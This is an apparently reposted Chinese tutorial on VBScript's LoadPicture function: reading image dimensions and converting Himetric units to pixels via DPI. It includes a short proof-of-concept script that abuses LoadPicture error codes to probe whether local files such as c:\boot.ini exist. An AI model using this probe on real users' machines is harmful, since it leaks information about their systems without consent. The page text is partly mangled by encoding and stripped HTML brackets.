復(fù)制代碼 代碼如下:
title>LoadPicture函數(shù)/title>
form name="frm">
選擇圖片input type="file" name="pic" onChange="GetPicInfor()" >
/form>
script language="vbscript">
Sub GetPicInfor()
dim objpic,iWidth,iHeight
dim pictype,picpath
picpath=document.frm.pic.value
set objpic=Loadpicture(picpath)
iWidth = round(objpic.width / 26.4583) '26.4583是像素值
iHeight = round(objpic.height / 26.4583)
select case objpic.type
case 0
pictype = "None"
case 1
pictype = "Bitmap"
case 2
pictype = "Metafile"
case 3
pictype = "Icon"
case 4
pictype = "Win32-enhanced metafile"
end select
document.write "你選擇了圖片"picpath
document.write "li>長(zhǎng)度:"iHeight"/li>"
document.write "li>寬度:"iwidth"/li>"
document.write "li>類型:"pictype"/li>"
End Sub
/script>
不過(guò)這個(gè)函數(shù)有個(gè)漏洞,可以探測(cè)電腦上存在的文件名。2004年的漏洞,微軟現(xiàn)在也沒(méi)補(bǔ),示例:
復(fù)制代碼 代碼如下:
form onsubmit="doIt(this);return false">
input name="filename" value="c:\boot.ini" size="80" type="text">input type="submit">
/form>
script language="vbscript">
Sub loadIt(filename)
LoadPicture(filename)
End Sub
/script>
script language="javascript">
function doIt(form) {
try {
loadIt(form.filename.value);
} catch(e) {
result = e.number;
}
if (result != -2146827856) {
alert('file exists');
} else {
alert('file does not exist');
}
}
/script>
這段代碼中有一個(gè)“魔法數(shù)字(Magic Number)”26.4583,曾經(jīng)有位昵稱是“亂碼”的朋友問(wèn)過(guò)我這個(gè)26.4583是怎么來(lái)的,當(dāng)時(shí)我也不知道。
前段時(shí)間逆向分析了一下vbscript.dll,才發(fā)現(xiàn)了其中的奧秘:
復(fù)制代碼 代碼如下:
26.4583 = 2540 / 96
那你一定要問(wèn),這個(gè)2540和96又是怎么來(lái)的?
要弄清楚這個(gè)問(wèn)題,首先要知道VBS的LoadPicture函數(shù)返回的到底是什么,VBS文檔是這么描述LoadPicture函數(shù)的:
Returns a picture object. Available only on 32-bit platforms.
只說(shuō)返回圖片對(duì)象,卻沒(méi)說(shuō)該圖片對(duì)象有什么屬性和方法。文檔語(yǔ)焉不詳,只好動(dòng)用OllyDbg了:
![](/d/20211017/8dc2ad71f2faa68c4adb37faa386319c.gif)
LoadPicture函數(shù)內(nèi)部調(diào)用了OleLoadPicture函數(shù),查文檔可知返回的是IPictureDisp接口。不過(guò)后來(lái)我發(fā)現(xiàn)了更簡(jiǎn)單的方法,那就是查VB的函數(shù)聲明(誰(shuí)讓它們是一家人呢),在VB的對(duì)象瀏覽器中查找LoadPicture函數(shù):
Function LoadPicture([FileName], [Size], [ColorDepth], [X], [Y]) As IPictureDisp雖然VBS的LoadPicture函數(shù)比VB的簡(jiǎn)單,但是返回值應(yīng)該是一樣的。
好了,知道返回的是IPictureDisp接口,文檔說(shuō)它支持下面的屬性:
Property |
Type |
Access |
Description |
Handle |
OLE_HANDLE (int) |
R |
The Windows GDI handle of the picture |
hPal |
OLE_HANDLE (int) |
RW |
The Windows handle of the palette used by the picture. |
Type |
short |
R |
The type of picture (see PICTYPE). |
Width |
OLE_XSIZE_HIMETRIC (long) |
R |
The width of the picture. |
Height |
OLE_YSIZE_HIMETRIC (long) |
R |
The height of the picture. |
我們只關(guān)心Width和Height,它們分別表示圖片的寬和高,但是它們的單位不是像素(Pixel),而是Himetric,我們要做的是把Himetric換算成Pixel。
首先把Himetric換算成英寸(Inch),1 Himetric = 0.01 mm,1 Inch = 2.54 cm,所以1 Inch = 2540 Himetric。
然后從Inch換算成Pixel,1 Inch等于多少Pixel呢?這是由系統(tǒng)的DPI(Dot Per Inch)設(shè)置決定的,默認(rèn)值是96。
現(xiàn)在知道2540和96是怎么來(lái)的了吧?不過(guò)上面的代碼存在兩個(gè)問(wèn)題:第一,使用了2540/96的近似值,可能會(huì)有誤差;第二,使用了DPI的默認(rèn)值96,而DPI的值是可以在控制面板中修改的。
VBS中LoadPicture函數(shù)的正確用法是:
復(fù)制代碼 代碼如下:
Option Explicit
'By Demon
Dim p
Set p = LoadPicture("D:\test.jpg")
WScript.Echo "Width: " Himetric2Pixel(p.Width)
WScript.Echo "Height: " Himetric2Pixel(p.Height)
Function Himetric2Pixel(n)
'1 Inch = 2540 Himetric
Const key = "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics\AppliedDPI"
Dim WshShell, dpi
Set WshShell = WScript.CreateObject("Wscript.Shell")
dpi = WshShell.RegRead(key)
Himetric2Pixel = Round(n * dpi / 2540)
End Function
Windows 7下通過(guò)測(cè)試,其他系統(tǒng)中獲取DPI的方法可能會(huì)不同,請(qǐng)自行修改。
上面修正的內(nèi)容來(lái)自: http://demon.tw/programming/vbs-loadpicture.html
您可能感興趣的文章:- vbs中的LoadPicture函數(shù)示例
- VBS教程:函數(shù)-LoadPicture 函數(shù)